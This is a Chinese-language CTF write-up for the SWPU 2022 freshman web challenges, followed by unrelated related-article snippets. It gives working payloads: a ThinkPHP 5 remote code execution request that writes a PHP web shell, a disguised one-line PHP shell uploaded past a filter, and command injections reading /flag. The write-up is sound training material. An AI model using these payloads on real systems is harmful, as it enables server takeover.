SWPU 2022 新生賽--web題

奇妙的MD5

進入靶場

然我們輸入一個特殊的字符串,然后我到處翻了翻,發現有提示

在MD5中有兩個特殊的字符串

0e215962017 ? ? ? //MD5加密后弱比較等于自身
ffifdyop ? ? ? ?  //MD5加密后變成萬能密碼

這里明顯就是萬能密碼了

輸入之后就來到了這個頁面

源碼里面就有想要的線索

<!--
$x= $GET['x'];
$y = $_GET['y'];
if($x != $y && md5($x) == md5($y)){;
-->

這個就是簡單的MD5弱比較

輸入?x=240610708&y=s878926199a即可

輸入之后又是一個代碼審計,這個就是強比較了,數組繞過即可

ez_ez_php

進入靶場

一個簡單的代碼審計

這個代碼的意思是說前三個字符必須要是php

那就用php偽協議

?file=php://filter/read=convert.base64-encode/resource=flag.php

先進行base64解密

<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
?
?
echo   "NSSCTF{flag_is_not_here}" ."<br/>";
echo "real_flag_is_in_'flag'"."<br/>";
echo "換個思路,試試PHP偽協議呢";

解密出來是這個

然后提示說real_flag_is_in_'flag',那么payload

?file=php://filter/read=convert.base64-encode/resource=flag

base64解碼

NSSCTF{4be155fb-6428-4f0c-ae04-4adc2cb1199a}

ez_ez_unserialize

進入靶場

這個反序列化題主要是如何繞過__wake魔法函數

先將這個序列化

__wake魔法函數的觸發條件是在進行反序列化之前觸發,因此只需要修改參數就能繞過

payload

?x=O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}

ez_rce

這個題目沒什么好評價的,漏洞復現而已

先進入靶場

目錄掃描之后,發現robots.txt文件

進入之后發現新大陸

然后來到這個頁面

然后搜索ThinkPHP V5漏洞復現即可

payload

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami            //這個指令可以用來命令執行
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST['cmd']);?>
//這個指令可以用來寫馬

連上蟻劍后

flag在/nss/ctf/flag/flag

Ez_upload

進入靶場

有一個文件上傳框

首先,直接上傳php文件

上傳png文件并抓個包試試

"你上傳的什么鬼?",這個應該是對Content-Type做了過濾,或者對內容做了過濾,先把內容全部刪掉測試Content-Type

也傳不上去,一頓測試之后發現filename=muma.png并且Content-Type為image/jpeg才能上傳

那么將一句話木馬傳進去

又出現了"換其他類型",那就是對內容做了過濾,嘗試之后發現對<?做了過濾,payload

<script language="php">eval($_POST['cmd']);</script>

上傳成功

但是怎么才能讓這個執行呢,后綴名不能為ph,那么就可以傳.hta文件,上傳之后用蟻劍連接muma.png即可

然后在終端輸入env即可出flag

funny_php

進入靶場

一上來就是長串的代碼審計

但是看了一會發現這個可以分幾部分,那么就一部分一部分的解題

第一部分

if(isset($_GET['num'])){if(strlen($_GET['num'])<=3&&$_GET['num']>999999999){echo ":D";$_SESSION['L1'] = 1;}else{echo ":C";}} 

這個地方需要num小于等于3并且大于999999999,這個地方用科學計數法繞過就行

payload

?num=3e9

第二部分

if(isset($_GET['str'])){$str = preg_replace('/NSSCTF/',"",$_GET['str']);if($str === "NSSCTF"){echo "wow";$_SESSION['L2'] = 1;}else{echo $str;}} 

這個地方需要讓str的值為NSSCTF,但是又將NSSCTF代替為空,雙寫繞過即可

payload

?str=NSSNSSCTFCTF

第三部分

if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){echo "Nice!";if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){echo "yoxi!";$_SESSION['L3'] = 1;}else{echo "X(";}}}else{echo "G";echo $_POST['md5_1']."\n".$_POST['md5_2'];}} 

這個代碼看著很長,其實就是個弱比較,只要全是字符串就行

payload

md5_1=QNKCDZO&md5_2=240610708

funny_web

首先進入靶場

這個屬于一個簽到題

賬號:NSS

密碼:2122693401

進來之后簡單源碼審計,很簡單的過濾方法

輸入?num=12345a即可

js_sign

進入靶場

只有一個框,題目提示說看js文件

這里已經出現flag了,將這串數字去掉空格之后變為

3343431344215434452124331421311122125444113513341415

解碼之后

flag就出來了

最終答案

NSSCTF{fyoufindflagbytapcode}

numgame

進入靶場

我第一想法就是把這個點到20,但是加到16之后再加就直接跳到-20了,這個做法明顯不太理智,然后我想查看源代碼,然后可惡的出題人把右鍵和ctrl+u都給ban了

那就用view-source大法

view-source:http://node5.anna.nssctf.cn:21933/

查看js文件

在nssctf里面有一個base64加密后的文件

解密之后為NsScTf.php

進入這個頁面

這里過濾了n和c,但沒有大小寫過濾,先訪問hint2.php吧,題目提示與get相似的另一種請求,那應該就是post了

ps:在編程語言中,雙冒號運算符(::)可以用來訪問類的成員,包括靜態成員和非靜態成員

因此,以post的方式執行命令就行

payload

p=nss::ctf ? ?  //表示訪問nss類下的ctf成員變量

執行之后他告訴我類是nss2,那就改一下payload即可

p=nss2::ctf

執行之后查看源碼就能得到flag

webdog1__start

這個題目還是挺有意思的,有許多的提示隱藏了

進入靶場

這里有兩種方向,查看源碼,又或者去掃目錄,首先走第一步,源碼里面有東西

if (isset($_GET['web']))
{$first=$_GET['web'];if ($first==md5($first))

MD5加密后與原來相同

那就是0e215962017

輸入?web=0e215962017

來到start.php頁面

將里面的所有地方都點過了,并沒有什么有用的地方,但網絡層給了提示

進來這個頁面后同樣網絡層又給了提示

進入F1l1l1l1l1lag.php目錄內,來到了最終的地方

進行源碼審計,利用點在eval,但是將空格和flag字符過濾了,空格可以用%09過濾,flag可以用通配符過濾

payload

?get=system('tac%09/f*');

第二種方法就是掃目錄

就可以跳過前兩步,直接進入robots.txt找答案了

里面是亂碼,亂碼修復即可

后面的步驟都是一樣了

1z_unserialize

進入靶場

這個是非常簡單的反序列化了

構造php

輸出結果為

O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:2:"ls";}

ls的結果出來了,修改參數找flag就行,payload

nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"tac /flag";}

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/67063.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/67063.shtml
英文地址,請注明出處:http://en.pswp.cn/web/67063.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

PyQt6醫療多模態大語言模型(MLLM)實用系統框架構建初探(上.文章部分)

一、引言 1.1 研究背景與意義 在數字化時代,醫療行業正經歷著深刻的變革,智能化技術的應用為其帶來了前所未有的發展機遇。隨著醫療數據的指數級增長,傳統的醫療診斷和治療方式逐漸難以滿足現代醫療的需求。據統計,全球醫療數據量預計每年以 48% 的速度增長,到 2025 年將…

怎么樣把pdf轉成圖片模式(不能復制文字)

貴但好用的wps&#xff0c; 轉換——轉為圖片型pdf —————————————————————————————————————————— 轉換前&#xff1a; 轉換后&#xff1a; 肉眼可見&#xff0c;模糊了&#xff0c;且不能復制。 其他免費辦法&#xff0c;參考&…

C# OpenCV機器視覺:利用CNN實現快速模板匹配

在一個陽光燦爛的周末&#xff0c;阿強正癱在沙發上&#xff0c;百無聊賴地換著電視頻道。突然&#xff0c;一則新聞吸引了他的注意&#xff1a;某博物館里一幅珍貴的古畫離奇失蹤&#xff0c;警方懷疑是被一伙狡猾的盜賊偷走了&#xff0c;現場只留下一些模糊不清的監控畫面&a…

智能電動汽車系列 --- 智能汽車向車載軟件轉型

我是穿拖鞋的漢子,魔都中堅持長期主義的汽車電子工程師。 老規矩,分享一段喜歡的文字,避免自己成為高知識低文化的工程師: 簡單,單純,喜歡獨處,獨來獨往,不易合同頻過著接地氣的生活,除了生存溫飽問題之外,沒有什么過多的欲望,表面看起來很高冷,內心熱情,如果你身…

YOLOv8改進,YOLOv8檢測頭融合DynamicHead,并添加小目標檢測層(四頭檢測),適合目標檢測、分割等,全網獨發

摘要 作者提出一種新的檢測頭,稱為“動態頭”,旨在將尺度感知、空間感知和任務感知統一在一起。如果我們將骨干網絡的輸出(即檢測頭的輸入)視為一個三維張量,其維度為級別 空間 通道,這樣的統一檢測頭可以看作是一個注意力學習問題,直觀的解決方案是對該張量進行全自…

[ Spring ] Spring Cloud Gateway 2025 Comprehensive Overview

文章目錄 Spring Gateway ArchitectureProject Level DependencyService CenterService ProviderGateway ServiceLaunch All Service Spring Gateway Architecture Service Center : register and find service providerService Provider : programs that provide actual serv…

GitLab配置免密登錄和常用命令

SSH 免密登錄 Windows免密登錄 刪除現有Key 訪問目錄&#xff1a;C:\Users\Administrator\ .ssh&#xff0c;刪除公鑰&#xff1a;id_rsa.pub &#xff0c;私鑰&#xff1a;id_rsa 2.生成.ssh 秘鑰 運行命令生成.ssh 秘鑰目錄&#xff08; ssh-keygen -t rsa -C xxxxxx126.…

VUE的安裝

要用vue必須要先安裝nodejs nodejs的安裝及環境配置 1.下載安裝包 下載地址&#xff1a; https://nodejs.org/zh-cn/download/ 2.安裝程序 下載完成后&#xff0c;雙擊安裝包開始安裝 ①點擊next ②點同意、next ③默認路徑是C:\Program Files\nodejs\&#xff0c;可修改…

chrome插件:網頁圖片高清下載

前置條件&#xff1a; 安裝有chrome谷歌瀏覽器的電腦 使用步驟&#xff1a; 1.打開chrome擴展插件 2.點擊管理擴展程序 3.加載已解壓的擴展程序 4.選擇對應文件夾 5.成功后會出現一個擴展小程序 6.點擊對應小程序 7.輸入需要訪問的網址&#xff0c;點擊擴展插件即可進行圖片…

[操作系統] 進程地址空間管理

虛擬地址空間的初始化 缺頁中斷 缺頁中斷的概念 缺頁中斷&#xff08;Page Fault Interrupt&#xff09; 是指當程序訪問的虛擬地址在頁表中不存在有效映射&#xff08;即該頁未加載到內存中&#xff09;時&#xff0c;CPU 會發出一個中斷信號&#xff0c;請求操作系統加載所…

HTML5 Web Worker 的使用與實踐

引言 在現代 Web 開發中&#xff0c;用戶體驗是至關重要的。如果頁面在執行復雜計算或處理大量數據時變得卡頓或無響應&#xff0c;用戶很可能會流失。HTML5 引入了 Web Worker&#xff0c;它允許我們在后臺運行 JavaScript 代碼&#xff0c;從而避免阻塞主線程&#xff0c;保…

Nginx配置中的常見錯誤:SSL參數解析

摘要 在高版本的Nginx中&#xff0c;用戶可能會遇到unknown directive “ssl”的錯誤提示。這是因為舊版本中使用的ssl on參數已被棄用。正確的配置SSL加密的方法是在listen指令中添加ssl參數。這一改動簡化了配置流程&#xff0c;提高了安全性。用戶應更新配置文件以適應新版本…

適用于IntelliJ IDEA 2024.1.2部署Tomcat的完整方法,以及筆者踩的坑,避免高血壓,保姆級教程

Tips:創建部署Tomcat直接跳轉到四 一、軟件準備 筆者用的是IntelliJ IDEA 2024.1.2和Tomcat 8.5。之前我使用的是Tomcat 10&#xff0c;但遇到了許多問題。其中一個主要問題是需要使用高于1.8版本的JDK&#xff0c;為此我下載了新的JDK版本&#xff0c;但這又引發了更多的兼容…

微信閱讀網站小程序的設計與實現(LW+源碼+講解)

專注于大學生項目實戰開發,講解,畢業答疑輔導&#xff0c;歡迎高校老師/同行前輩交流合作?。 技術范圍&#xff1a;SpringBoot、Vue、SSM、HLMT、小程序、Jsp、PHP、Nodejs、Python、爬蟲、數據可視化、安卓app、大數據、物聯網、機器學習等設計與開發。 主要內容&#xff1a;…

從零開始學 HTML:構建網頁的基本框架與技巧

系列文章目錄 01-從零開始學 HTML&#xff1a;構建網頁的基本框架與技巧 文章目錄 系列文章目錄前言一、HTML 文檔的基本框架1.1 <!DOCTYPE html>、<html>、<head>、<body> 標簽解析1.1.1 <!DOCTYPE html> 標簽1.1.2 <html> 標簽1.1.3 &l…

C#加密方式

using System;using System.Collections.Generic;using System.IO;using System.Linq;using System.Security.Cryptography;using System.Text;namespace PwdDemo{public class AESHelper{/// <summary>/// AES 加密/// </summary>/// <param name"str&qu…

【12】WLC配置internal DHCP服務器

1.概述 WLC無線控制器包含內部DHCP(internal DHCP)服務器。該功能通常用于尚未擁有DHCP服務器的分支機構中。 無線網絡通常包含最多10個AP或更少的AP,并且AP在與控制器的同一IP子網上。內部DHCP服務器為無線客戶端、直連AP和從AP中繼的DHCP請求提供了DHCP地址。 2.內部DHC…

vue2中trhee.js加載模型展示天空盒子

![在這里插入圖片描述](https://i-blog.csdnimg.cn/direct/13b9193d6738428791fc1ff112e03627.png 加載模型的時候需要把模型放在public文件下面 創建場景 this.scene new THREE.Scene()創建相機 this.camera new THREE.PerspectiveCamera(45,this.viewNode.clientWidth / t…

汽車免拆診斷案例 | 2007 款日產天籟車起步加速時偶爾抖動

故障現象  一輛2007款日產天籟車&#xff0c;搭載VQ23發動機&#xff08;氣缸編號如圖1所示&#xff0c;點火順序為1-2-3-4-5-6&#xff09;&#xff0c;累計行駛里程約為21萬km。車主反映&#xff0c;該車起步加速時偶爾抖動&#xff0c;且行駛中加速無力。 圖1 VQ23發動機…

對神經網絡基礎的理解

目錄 一、《python神經網絡編程》 二、一些粗淺的認識 1&#xff09; 神經網絡也是一種擬合 2&#xff09;神經網絡不是真的大腦 3&#xff09;網絡構建需要反復迭代 三、數字圖像識別的實現思路 1&#xff09;建立一個神經網絡類 2&#xff09;權重更新的具體實現 3&am…